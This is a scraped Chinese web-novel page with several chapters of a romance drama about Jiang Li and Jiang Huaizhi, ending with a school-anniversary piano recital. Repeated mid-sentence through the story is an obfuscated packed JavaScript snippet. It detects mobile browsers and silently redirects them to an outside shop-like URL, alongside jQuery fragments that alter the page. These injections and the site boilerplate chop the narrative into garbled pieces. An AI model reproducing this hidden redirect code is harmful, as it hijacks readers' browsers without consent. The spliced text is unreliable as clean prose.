还当着别人的面,云淡风轻的把这件事给说了出来。 并且反咬她一口,说她是变态。 “那不过是年纪小,不懂事,做出来的一件错事罢了。”姜梨把眼泪憋回去,苦笑了一下,“你当时已经教育过我了,江大少爷难不成还要再教我第二堂课吗?” 江淮之,“没什么区别。” 姜梨的身体朝后仰,背往后靠,手捏着裙面,“十二岁和十七岁的时候,连喜欢上一个人都是错的。但是二十一岁不仅可以喜欢别人,还可以谈恋爱,可以跟喜欢的人拥抱,牵手,接吻。” 她停顿了一下,继续说:“甚至是做,爱。” “小时候喜欢的错的人,长大之后也不会再喜欢了。” 他是错的人,她不会再喜欢的人。 江淮之的眼神渐渐冷了下来,嘴角的弧度也慢慢的拉的笔直。 气氛一瞬间就僵住了,压的人喘不上气。 姜梨也不知道自己说的话哪里又触碰到了他的逆鳞,她觉得这个男人年纪越大,就越来越喜怒无常,阴晴不定。 像是有什么大病,蔓延到了脑部。 电话铃声在这个时候炸开,打破了这份死的寂静,让人松了口气。 是姜梨的手机,她拿起看了一眼,是叶辞打来的电话。 犹豫了两秒钟,还是接了起来。 一个夹着微弱电流的男音透过电话筒,传进了耳朵里,“什么时候回学校?” 姜梨:“明天。” 应该是考虑到姜祈安刚去世不久,担心姜梨会因为心情会不好影响她的日常生活,叶辞问了她一句:“我找人去接你?” 姜梨拒绝的很快,“不用了。” 想了想,她又补了一句:“我跟江淮之在一起,他会送我回学校的。” “你说谁!?”叶辞的声音骤然拔高了两个度,声音大到像是开了外放,“我靠!你怎么会跟江淮之在一起的?你不会还……” 姜梨猝不及防的被他这么吼了一嗓子,感觉自己的耳膜都要破了,预判到叶辞接下来要说的话,她直接打断他,“你要是没别的事,我就先挂了。” 叶辞也不傻,猜到江淮之可能就在旁边,及时噤声,说了句“明天见”就把电话挂掉了。 姜梨的肩膀突然一重,她的身体一僵,下意识憋了一口气。 江淮之突然靠在了她的肩膀上,眼睛闭着。 从前天半夜把她从警局里接出来开始,他好像确实没怎么睡好觉,离近了看,可以看到眼下有一层浅浅的青灰。 姜梨不敢动,身体绷的很紧。 江淮之并没有睡着,察觉到她僵硬的身体,索性直接靠到了她的大腿上。 “不要动。”察觉到姜梨要躲的动作,江淮之小声的说了一句:“我累了。” “………” 好奇怪,她一开始,明明在生气的。 怎么莫名其妙的就变成了江淮之在生气,然后现在又突然温情了起来? 姜梨悄悄的低头看江淮之,睡着的时候面部线条柔和了很多,嘴唇很薄,红艳艳的。 她定定的看着那张堪称妖孽的脸,不断的在心里默念,给自己洗脑。 千万不要,再重蹈覆辙。 别爱他。 ……… 江淮之带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293796|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜梨回了樱洲,位于秋水湾的高级公寓。 窗外月明星稀。 秋水湾的这套公寓装修风格跟江淮之在北城的那栋别墅很相像,尤其是她现在睡的这个房间,不管是色系还是其他的,都是一模一样。 衣柜里同样已经挂满了衣服,也都是她的尺码。 姜梨穿着睡衣,长发散了下来,手里捏着那根玉兰花枝的簪子,眼底悲寂情绪翻涌。 她把它收进了盒子里,小心翼翼的收进了书包。 收拾完东西,时间已经来到了九点半。 放在桌子上的手机亮了一下,姜梨捞过来,点进了微信里。 是江淮之发过来的微信,让她去书房。 这是时隔三年多发的第一条信息,姜梨抿了抿唇角,检查了一下自己的衣着,确认没有什么不得体才起身走出去。 江淮之的头发微湿,最后一份文件看完,抬手捏了捏眉骨。 又给简清时发去了一段信息,把舒羽被他调回北城的事情散出去,一定要让司家的人都知道。 从烟盒里抽出一根烟咬进嘴里,摸出来打火机,随着“嚓”的一道声音,升腾起来一簇火苗。 烟被点燃,闪着一点猩红的火光。 脑子里不断涌进来今天姜梨和叶辞打电话的场景,姜梨和叶辞有什么话是不能当着他面说的吗? 樱洲叶家的老幺,姜梨的青梅竹马,也就是她嘴里说的那个,她喜欢的男人? 正当他想的入神,门就被敲响了。 江淮之把没有抽完的烟掐灭,换了一个暗一点的光线,拉开了窗户,等微风吹散了一点烟味,才淡声道:“进。” 这章没有结束,请点击下一页继续 阅读! 第8章 出尔反尔 姜梨表情淡漠,但是挡在胸前的手握的很紧,在轻微的颤抖。 “是吗?”江淮之的手掌磨了一下她的脖颈,然后松开,拨开她的头发,“那就试试。” 两具身体贴的更近,一股热气喷洒在脖颈,激的姜梨全身狠狠的抖了一下,身上起了一层鸡皮疙瘩。 江淮之的唇瓣,若即若离的擦着她脖颈的皮肤,像是在试探什么。 姜梨抖的厉害,声音都在打颤:“江,江淮之!” “嗯?不是说随便我?你抖什么?” 可能是气的,也可能是别的,姜梨只觉得一阵气血上涌,全身发烫,大脑都开始缺氧,眼睛有些涣散失神。 江淮之靠在她的肩头,气息有些不易察觉的乱,“还要胡说八道,来气我吗?” “不说了。” “乖一点。”江淮之将卡放在了她睡衣一侧的口袋里,然后站起来坐到了书桌前的椅子上,还不忘嘱咐她:“记得吃药,早点睡觉。” 姜梨呼出来一口长长的气,虽然她现在真的半秒都不想多待,但是………有些事情还是要问个清楚。 比如……… “沈翊残了没有?” 当时那把刀刺伤的位置,是小腹。姜梨用尽了全身的力气,伤口应该挺深的。 “我都已经把沈家最需要的东西双手奉上了,沈翊就算是死了也跟你没关系,这个事情你不用管。”江淮之靠在椅背上,饶有兴致的看着她,“怎么?你还有关心仇人的美德?” 姜梨看他是这个反应,就知道沈翊屁事都没有。 “………”她扯了扯嘴角,想说你在开什么玩笑,但还是憋了回去,最后说了一句:“我只是觉得,刀子还是不太好用,要是有枪就好了。” 她就能直接不费力的一枪送沈翊这个王八蛋去见他太奶。 江淮之的眉梢挑了一下,“给你枪,你会用吗?” 上膛,扣动扳机,然后开枪。 姜祈安不仅教过她,甚至真的让她打出去过一颗子弹。 但是江淮之不知道,她也没打算让他知道。 在他面前,她现在只需要好好扮演一朵菟丝花就可以了。装装可怜,博取同情,获得怜爱。 “人在极度危险的情况下,可以爆发出惊人的力量。”姜梨垂下眼皮,长而浓密的睫毛半掩着她的眸子,平静的说:“我都能一刀刺穿他的小腹,开个枪应该也不是什么难事。” “嗯。”江淮之长腿交叠,眼中带笑,“宝宝真棒。” ?! 江淮之在说什么东西……? 他喊她什么? 他这句话,让姜梨开始怀疑自己的大脑和听力,原本垂着的眼皮也骤然抬了起来,一下子就对上了江淮之的视线。 眼尾上挑,薄唇微扬,带着若有若无的笑意。那双看狗都深情的眼睛,此刻直勾勾的凝视着她。 姜梨被他看的一阵头皮发麻,刚褪下去的热度又升了上来。她“噌”的一下站起来,风似的窜了出去,半秒都不想再多待。 这个狗男人,先是那样来吓她。现在又仗着自己长得好看,来勾她! 妖孽!神经病!变态! 脑子不正常! “砰!” 书房里的江淮之,都听到了姜梨那边震天响的关门声。 江淮之摇头笑了一声。 还真是逗一下就炸毛,脾气挺大。 姜梨把江淮之放进她睡衣口袋里的东西拿了出来,一串钥匙,一张房卡,还有一张……无限额的黑卡。 “………” 薄薄的卡片拿在手里,像有千斤重,跟烫手山芋似的。 她抿唇,小心翼翼的把这张卡收了起来。 这种东西,姜梨以后要原封不动的再还给江淮之。 . 第二天的下午,车子稳稳的停在了樱洲大学的学校门口,江淮之对姜梨说:“下个星期开始,我会把季妍派过来看着你。” 他说的这段话,瞬间让姜梨警铃大作。 “不是说好互不干扰的吗?”姜梨不满的皱眉,语气有些急:“我上个学你还要找人监视我?江总,出尔反尔不是你的作风。” 说是派季妍来看着她,实际上就是当他的情报员,她放假到底有没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293797|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有回秋水湾,季妍会第一时间告诉江淮之,她的一举一动都能被他知道! 她又不是犯人! “姜梨,你以前干过的蠢事还要我现在一条一条列出来吗?”江淮之睨了她一眼,语气听不出喜怒,“监视你?你要这么说的话干脆别住宿舍了,直接搬出来吧。” 出尔反尔,又给他乱扣帽子。 “我不要你派人过来看着我!” 江淮之的声音冷了下来,“一个不高兴就去买醉,就去跳海,就给我要死要活的。放假的时候被看着,和每一天都被看着,你选哪个?” “我早就说过了那是意外!我没有想跳海!都多少年前的事情了你还要拿出来说!”姜梨紧紧捏着书包的带子,一张脸因为生气变得通红,“我一个都不选!我不要被人看着!” 姜梨伸手去拉车门,对着前面的谢铭说了一句:“开门!” 谢铭在这一刻 ,真是觉得自己在被架着烤。 他小心翼翼的去看江淮之,他的脸色阴沉的能滴水了,谢铭不敢开。 就在他犹豫的时候,江淮之开口了:“让她下车!” 姜梨无比庆幸自己从学校回沈家的时候,没有带什么东西,所以她今天也只拿了个书包,下车的动作丝滑流畅,丝毫不拖泥带水。 极其用力的,重重的关上了车门。 头也不带回的走进了学校。 谢铭大气不敢喘,气氛沉重又压抑,江淮之很少会生气,更加不会像这两天一样,挂脸。 他一直都是云淡风轻,温文尔雅的性子。 但是只要一碰上姜梨,就会很容易失控。 江淮之透过车窗,看着那道走的越来越远的身影,眼眸暗了下来,脸上覆上了一层阴霾。 她是长大了,连带着脾气一起。 小时候有多乖,现在就有多野,也不知道是像谁? 偏偏江淮之还拿她一点办法都没有。 等明天再来给她顺顺毛吧。 敛起神色,江淮之对谢铭说了一句:“去老宅。” 接下来,他还有一场“硬仗”要打。 第9章 打掩护的工具人 司家的老宅比较偏,几十年的老宅子旧旧的,但却灯火通明,格外亮堂。 江淮之很少来,上一次来还是在一年前,他接替司南赫成为掌权人的那天。 “大少爷。” 老宅的管家恭敬的站在门口迎接,像是已经等了江淮之很久。他低着头,弯着腰,对江淮之说:“老太爷和老爷都在书房等您。” 有些意外,司承德居然也在。 他没应声,慢悠悠的上了二楼,停在书房前轻轻的敲了三下门板。 “进。” 声音浑浊雄厚,又带着一点威严。 江淮之推门进去,抬眼看向坐着的两个人,关上门后喊了一声:“爸,爷爷。” 说完也不等二人开口,直接坐到了另一条沙发上,等着他们接下来要说的话。 司家老太爷见只有江淮之一个人过来,那双被岁月侵蚀过的眼里划过一丝暗光,“你从沈家抢过来的那个四小姐,你没带她来吗?” 江淮之面色无异,直直的和他对视,“我为什么要带她来司家老宅?” “你为了把她从沈家带出来,付了多大的代价?既然说是妹妹,也算是半个司家人,也得带她到我和你爸的跟前来,叫声爷爷和伯父?” 话里话外的意思,傻子来了都能听懂。 怕江淮之,分不清楚大局,和姜梨也不仅仅是“兄妹”情。 “谁告诉爷爷说她是司家人了?”江淮之靠着沙发椅背,“我当时跟沈家人说的很清楚,她还是原来的姜二小姐,是姜家人,我和她也还和以前一样。” “沈家前阵子跟毒挂钩,你还硬要凑上去!就为了一个姜梨?”司承德站了起来,语气带着愠怒,“还有那个舒羽又是怎么回事?你不仅没有断干净,还把她调来北城带在你身边!你想干什么!” “你要和你弟弟一样,把自己的前途断送在一个女人手里吗?” 气氛像是在结冰,冷硬,窒息。 江淮之沉吟了片刻,看向司承德的眼神微凉了下来,“父亲。一个私生子的锅还不够大,你还想让我再背上一条忘恩负义的罪名吗?” “我是姜祈安养大的,不是司家养大的,但是如今的司家是我养起来的。姜祈安于我有恩,他死的时候,我为了司家,已经是冷眼旁观了。姜梨当时也是一口一个二哥喊着,现在我这个哥哥养妹妹……”江淮之停顿下来,看向司老爷,笑了笑,“爷爷,您也觉得这是一个错误?” 江淮之的说辞和做法确实挑不出来一点毛病,于情于理,都该是这样的做法。 否则,传出去也的确不好听,有损名誉。 最主要的原因,司家现在如日中天,达到了一个前所未有的新高度,确实是江淮之一手撑起来的。 没有姜祈安,江淮之或许早就死在了江城,哪里还有今天的司家? “自然不是,既然是你以前的养妹,你愿意带着就带着吧。”司老爷轻咳了一声,用眼神示意司承德坐下,转了一下话锋,“我和你父亲,给你重新挑了一个联姻对象,是樱洲傅家的千金。” “舒羽,你什么时候断?” “她很懂事,不会闹到明面上,我暂时不想断。”江淮之长腿交叠,声音淡淡:“我现在也没有要联姻的打算,你们还是回绝掉吧。” “舒羽没家世没背景,这样的女人,不可能进司家的门,你想都不要想!赶紧趁早断掉!”司承德眉毛一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293798|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竖,语气里都是不赞同,“而且你现在都二十八岁了,就算是为了繁衍后代,也该结婚了吧!” “傅家的那个姑娘,很漂亮。”司老爷帮腔,对江淮之说:“父亲从政,书香世家,对你有很大的帮助。先别急着回绝,试着接触接触,你会喜欢的。” 想了想,他有意味深长的补了一句:“对司家也很有帮助。” 江淮之想到了姜梨,小姑娘还在跟他生气,下车的时候脸和眼眶都是红的。 漂亮?谁能有她漂亮? “接触之后你要是看不上,我们也不逼你。” 江淮之松了口,“随便你们。” 司老爷子眼神闪烁了一下,缓缓开口:“你菱姨前些年死过一个女儿,虽然是养女,但是感情深厚,这几年也因为她逝世,一直郁郁寡欢。有空的话带姜梨回来一趟,菱姨没有自己的孩子,既然是你的妹妹,她一定会喜欢的,心情会好一点。” “司家其他人,也会喜欢她的。” 江淮之眼神暗了暗,随便应了一声,然后站起来径直走出了书房,随后下了楼。 除非天气恶劣,没有办法下山,他一直都没有在老宅留宿的习惯。 司承德和老爷子知道他的脾性,没有阻拦。 今天再返回北城是不可能了,江淮之去了简清时的住处,答应送给他的喜酒,还在他车上。 一定得让他今天喝,图个吉利。 . 酒红色的液体缓缓倒入杯中,在光下折射出好看的颜色。 简清时捏着高脚杯,轻轻的抿了一口,酒香味醇厚浓郁,是好酒。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第10章 移情别恋 樱洲大学的宿舍环境很好,一间宿舍四个人,上床下桌,有一个小阳台。 请了近一个月的假期,姜梨落下了太多作业,从回学校开始,一直到现在八点多,她一直都在补。 笔记本电脑屏幕上的白光打在她脸上,时间久了她的视线有点模糊,眼球都爬上了红色的血丝,有点痛。 不能再看下去了。 姜梨合上电脑,拿起眼药水滴了两滴。身体靠着椅背,脑袋后仰,开始闭目养神。 后知后觉才发现这不是有点痛,而是很痛。 “对了,大梨子。”这时一直睡在床上的一个女生坐了起来,掀开床帘,探出头朝着姜梨看过去,“明天学校校庆,你报上了钢琴独奏表演,这事你没有忘记吧?” 姜梨愣了半晌,想起来确实有这么回事,她睁开眼看向许雾,“现在想起来了。” “你三………”许雾下意识想说“三姐”,然后想到什么,紧急拐了弯,“学生会的沈月汐学姐让我来提醒你一下,明天校董都会来。” 姜梨眼神闪了闪,轻声应了一下,没有再吭声。 这是刚开学的事,那个时候姜祈安还没有死,她转了专业,参加这个也只是为了拿学分。 后来姜祈安去世,她实在是没办法分出心思去干别的事情,就已经申请退出这个活动了,也被批准了。 而现在沈月汐却让许雾来通知她,做好准备。同为学生会的许雾,从头到尾都不知道她不参加活动的事情。 沈月汐这明摆着是要给她挖坑。 沈叙是人渣,沈翊是人渣中的人渣,和他们两个是同一个爹的沈月汐也好不到哪里去。 总结:沈家人没一个是好东西,都不是省油的灯。 “许雾。”姜梨的脑子转了一下,她再次抬头,问了一句:“沈月汐,应该是主持人吧?” 许雾点头,“怎么了?” “没什么。” 刚刚许雾说,校董都会来。想到这一点,姜梨的唇角不可抑制的扬了起来。 沈月汐既然要给她挖坑恶心她,那她这次就随她的愿,勉为其难的跳下去好了。 姜梨想完,再次瞌上眼皮养神。 . 偌大的礼堂内,阶梯式的席位坐满了人,颇有人山人海的感觉。 礼堂后台。 身穿华服的同学正在讨论着什么,叽叽喳喳的有些嘈杂。 姜梨穿了一条简单的白色挂脖及膝礼裙,长发用那根玉兰花枝银簪固定,化了一个淡妆。 此刻正没骨头似的靠在角落的椅子上,眼睛闭着,长长的睫毛垂下来,在眼下有一排阴影。 叶辞正在跟人说着什么,余光瞟了姜梨那个方向一眼,随后迈着步子朝着她走过去。 叶辞站到她旁边,看着她皱起的眉,知道她没睡着,出声问她:“喂,来说说你和江淮之的事呗。” 姜梨听到叶辞的声音,没有睁眼,“这有什么好说的?” 叶辞挑眉,试探性的问:“他把你从沈家捞回去,你俩现在什么关系?” 什么关系? 虚假的夫妻关系。 姜梨悠悠的睁眼,“以前是什么关系,现在就是什么关系。” 她的眼睛红的不行,眼球周围蔓延出不少的红血丝。叶辞被她这个眼睛吓了一跳,眉头蹙了起来,“你这眼睛,该不会是大晚上没睡觉,偷人去了吧?” “偷人?”姜梨笑了起来,眼里带了一些玩味,“我偷谁?你吗?” 叶辞像是没听出她的阴阳怪气,继续开口:“今天,江淮之也来了。” 姜梨扬了扬眉,像是有些意外,随后嘴边吊着的笑意淡了一些。 叶辞看着她这副表情,试探性的问她:“你不知道?” 他不提还好,现在这么一说,姜梨就想到昨天江淮之说的要“监视”她的那些话,心里压回去的火气又冒了上来。 她的一举一动都逃不过他的眼,如果不是许雾说今天校董都会到场,那江淮之今天要来樱洲大学的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293799|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,她是一点都不知道。 怎么着?半点公平都不带有的吗? 姜梨微微抬了抬下巴,看着叶辞轻笑出声,像是听了什么好笑的笑话,语气嘲讽:“北城太子爷要来樱洲大学,难不成还需要来知会我一声?你脑子被驴踢了,问出个蠢问题?” 这个表情,这个语气,说出来的这个话…… 得,这活爹是有点不高兴了。 叶辞被她说的无语凝噎,摸了摸鼻子没搭话,但是心里却藏着诸多的疑问。 这还真是跟以前一样,只当兄妹?还是感情破裂过的兄妹。 姜梨见他不说话了,沉默了一会,眼中划过一丝异色,思维跳脱的问了他一句:“你既然知道江淮之要来,那陆家的人来没来?” 陆家?叶辞有些奇怪,姜梨怎么会问这个问题? 但还是回答她:“陆家今天没出席,怎么了?” 没来? 姜梨皱了皱眉,然后垂下眼皮,不让人瞧见眼里难掩的失落,随便找了个理由搪塞过去,“没话聊了,随便扯个问题问问你,给你留点面子,怕你会尴尬。” 她一边说,一 边伸出胳膊,然后抬手利落的扯掉了头上的那根发簪。 力道有些大,像是在压着什么怒气,叶辞看着她这个动作,眼神微微暗了暗。 青梅竹马的情谊,叶辞一眼就瞧出来了问题,刚刚只是不高兴的姜梨,现在是有点生气了。 因为听到陆家没有来。 她这是移情别恋,彻底放下江淮之,现在看上了别人? 他没再继续说什么,站直身体,迈开步子走出了礼堂。 姜梨捏着那根发簪,面上的笑容彻底消失不见,像是凉透的茶一样冷。 起身走进更衣室,找到自己的衣柜,将簪子放进盒子里,上了锁。 她本来是想“配合”沈月汐好好演这台戏的,但是陆家没有来,先不说这场戏演不下去。 她现在确实已经没了那个兴致。 第11章 不知死活 沈月汐拎着裙摆从更衣室里走出来,眼睛看了一圈,最后停在了角落里的姜梨身上。 同样是楚云的女儿,眉眼自然跟她是相像的,只是沈月汐更像沈家多一点。虽然漂亮,却不似姜梨和姜祈安那般精致。 也只能算得上漂亮了。 姜梨感觉到了视线,侧过身,大大方方的和她隔着人群对视。甚至抬起手朝她挥了挥,明明在笑,却带着凉意以及穿透力。 有一种扒开她的皮,将她的心脏剖开,细细的观赏的感觉。 直接将她整个人都看穿,看透。 沈月汐被她这个眼神看得心里发虚。 先是皱眉,然后眼神中闪过慌乱,最后掩耳盗铃般的看向别处。 想到她接下来要做的事,垂在身侧的手捏成了拳。 姜梨的视力不好,并没有看清沈月汐的一系列变化,但看着她离去的身影,她还是冷嗤了一声。 她还以为沈月汐会像以前那样,准备干坏事的时候都会到她跟前来对她冷嘲热讽一番,然后当那个能让姜梨现在心里那点郁结情绪消散的乐子。 失望,无趣。 眼睛是轻微的疼痛感,但是却让人没有办法彻底忽略,是一种负荷。 让姜梨的心情不断的坠落,再坠落,“啪”的一下摔得粉碎。 阮经颜拿着主持的台本走进来,踩着高跟鞋快速的朝着闭目养神的姜梨走过去,用脚勾过来旁边的一条椅子坐下,凑到她耳边,用只有两个人能听到的声音问她:“你和江淮之咋回事啊?” 她还没来得及跟阮经颜讲这回事。 叶辞说的还是简清时说的? 姜梨静默了十几秒,而后笑了一下,“那你和简清时是什么情况?你和他什么情况,我和江淮之就是什么情况。” 阮经验哽了一下,叶辞不是这么说的,简清时也不是这么说的,所以她没信姜梨这句话。 伸出手指刮了刮她的脸颊,“怎么?新婚还不高兴了?” “简清时是这么跟你说的?” “嗯。”阮经颜应了声,“江大少昨晚还和他喝了一晚上的………喜酒。” 姜梨的身体顿了顿,睁开眼,没有答话。 喜酒?哪来的喜? “嚯!”阮经颜看到她红的和兔子眼一样的眼珠子,惊了一下,“我勒个乖乖,你昨天晚上干嘛了………不对,你这几天和江淮之两个人干嘛了?” 比叶辞问的还要直接。 姜梨伸长胳膊,绕到她身后搂住她的肩,意有所指,“你和简清时干嘛了,我和江淮之就干嘛了。” 如果到这里,阮经颜还不知道姜梨这是生气了在阴阳怪气的话,她也就算是白和她认识这么久了。 “这么大火气?你不是喜欢……” 姜梨主动打断了她的话:“这件事别告诉叶辞,他要是知道了,怕是会闯祸。” 阮经颜眼神闪了闪,看她这样,怕是还没和江淮之解开心结,于是识趣的嗯了一声,换了个话题,“眼睛没事?” 姜梨,“没。” “阮经颜,马上开始了,快过来吧。” 那边的人在催促,阮经颜站起来,走时拍了拍姜梨的肩膀,“护着点,别又作瞎了。” 姜梨抿了抿唇角,手指轻轻拂过眼皮。 瞎了再重新换一个就是了,就算换不了,又有什么关系? 她连自己的眼睛都能搞瞎,更何况是别人的眼睛? . 隆重的校庆活动正式开始,礼堂内亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293800|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着的大灯骤然熄灭,正前方的电子屏幕亮了起来,舞台上也亮起来了几束白光。 坐在正中间第一排位置上的一行人,各个西装革履,举手投足间都散发着矜贵。 是校董事会的成员。 场内响起背景音乐,身着华贵礼服沈月汐和一身炭灰色西装的叶辞率先出场,两个人的手里握着话筒,激情澎湃的来了一段开场白。 “樱洲大学,建立一百周年庆典正式开始!” 沈月汐看着台下坐着的沈叙,两个人对视了一眼,而后她举起话筒:“接下来,让我们有请大二金融系的姜梨同学为我们带来钢琴独奏!” 一瞬间,全场陷入了黑暗之中。 后台一直等待的姜梨听到沈月汐的说辞时,眉梢不受控制的扬了一下。 原本因为陆家熄灭的兴趣此刻又燃了起来,她发自内心的笑了起来,伸手理了一下垂在胸前的头发。 而后一步一步踏上阶梯,走上了舞台。 台上已经摆放好了一架钢琴,姜梨坐在钢琴凳上,头顶的一束白光落在了她身上。 “金融系?姜梨不是你们音乐表演系的吗?” “错咯,她今年刚开学就转去金融了……她哥哥不是姜祈安吗?虽然人死了,但是留下的公司不是还在吗?姜梨转去金融不是挺正常的?” “嗤,姜祈安死了,她现在是空有虚名的沈四小姐,都让她去跟那些公子哥联姻了,还能让她碰公司?你们还当她是北城第一才女姜二小姐呢?”一个男生此时出声了,他说的眉飞色舞,面上都是嘲弄,还带了一点不甘,“一个只会在舞台上跳舞,弹琴的女人,空有美貌的花 瓶而已。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第12章 你确定要让我弹这首曲子吗 一曲结束,姜梨的跳动的手指停了下来。 下一瞬,礼堂内响起雷鸣般的掌声。 姜梨缓缓站起,准备鞠躬谢幕。 而此时沈月汐拿着话筒走了上来,站在她旁边摁住了她的肩膀,顺势让还没站直的姜梨再次坐了回去。 “姜梨同学还有一首曲子要献给我们……”沈月汐看着台下的人,顿了一下,然后铿锵有力的说出来一个曲名:“命途。” 后台的叶辞和阮经颜怔了一下,命途? 这不是…… 阮经颜站不住了,着急忙慌的就要上去救人,却被叶辞一把拉了回来。 “你拉我干什么!”阮经颜回头看着他,眉头紧蹙。 “皇上都不急,咱们急什么?”叶辞看着她意味深长的笑了一下,“姜梨不是那吃暗亏的人,况且,那底下不是还坐着她另一个哥吗?我们看戏就行,别上去添乱。” 差点把江淮之忘记了…… 阮经颜咂咂嘴,安静了下来。 而此时的礼堂无比的静,看向姜梨的眼神有不明所以的好奇,有同情,有幸灾乐祸。 总归都是在看戏。 和江淮之隔了几米远的沈叙,在观察他的一举一动。 只见江淮之轻轻的转动着拇指上通透的玉板,面无表情的看着这场“闹剧”,丝毫没有要帮忙解决的意思。 都把姜祈安搬出来了,江淮之对姜梨还是这个态度,沈叙的心也彻底落地。 他移开视线,身体放松靠在了椅背上,认真的看着舞台上的这场好戏。 “等一下!” 沈月汐说完就要转身下台,就被姜梨叫住了,她回头看着沈月汐,手指轻轻的在琴键上滑动,“姐姐,你确定,要让我加弹这首曲子吗?” 姜梨特意咬重了那声姐姐,沈月汐的表情僵硬了一下,很快她就恢复如常,“说什么呢,这不是你自己报上来的吗?怎么还来问我……” “姐姐,你别这么扫兴。”她的话音未落,姜梨就有点不耐烦的打断了,“一个刚死掉没多久的人写出来的曲谱,你要真这么想听,直接告诉我,我给你弹一百遍,让你好好的听个够。” “只要你说是姐姐你想听,我今天就好好的给你弹,你要是不说,妹妹我就不会弹。” 校长有些着急了,看着台上站着的两个人干着急。 沈月汐和姜梨都是沈家的人,沈叙权势地位不小,可得罪不起。但是今天江淮之也在!不能闹的那么难看啊! 他看了看江淮之,又看了看沈叙,一时间竟不知道该如何处理。 “姜梨同学!”此时底下和沈月汐关系颇为要好的傅雪喊了起来,“赶紧弹完赶紧结束,校庆活动还要继续。” 随着她这么一说,台下的人就跟商量好了似的,一个接一个的催促姜梨。 姜梨看着这个场面,丝毫没有慌张,她只觉得沈月汐越来越蠢了。 她一开始还以为沈月汐要玩的点子会和她想的不一样,姜梨还很兴奋,以为她终于动脑子憋了个大招。没想到,还是和预料中的一样拉了一坨大的。 被勾起来的那股兴致又瞬间灭了下去,这一天下来,被两拨人扫兴,接下来的一个星期,她的心情都不会好了。 “啪!” 又是重重的在琴键上摁了一下,巨大的声响让底下叫喊的人收了声音,安静了下来。 “我再问你最后一遍,你现在,真的想听这首曲子吗?” 沈月汐知道姜梨会在全校师生面前拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293801|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹,但是她没有想到她会把问题抛给自己。 她说想听,姜梨就乖乖弹。但是这是刚去世不久的姜祈安写的曲子,姜祈安是她同母异父的亲哥哥,这么说,就要给她扣上一顶不尊兄长的罪名。 她说不想听,姜梨就不会弹,就等于是白白的做了一场无用的戏,非但没有恶心到姜梨,反而她自己会被楚云数落一番。 不管是哪一种回答,都是把她架在火堆上炙烤。 正当沈月汐还在思考解决方案的时候,她感受到了一道极为强烈,难以忽视的视线,等她抬眼看过去时,汗毛都立了起来。 是………是江淮之! 他的眸子深沉又阴冷,是赤裸裸的威胁。 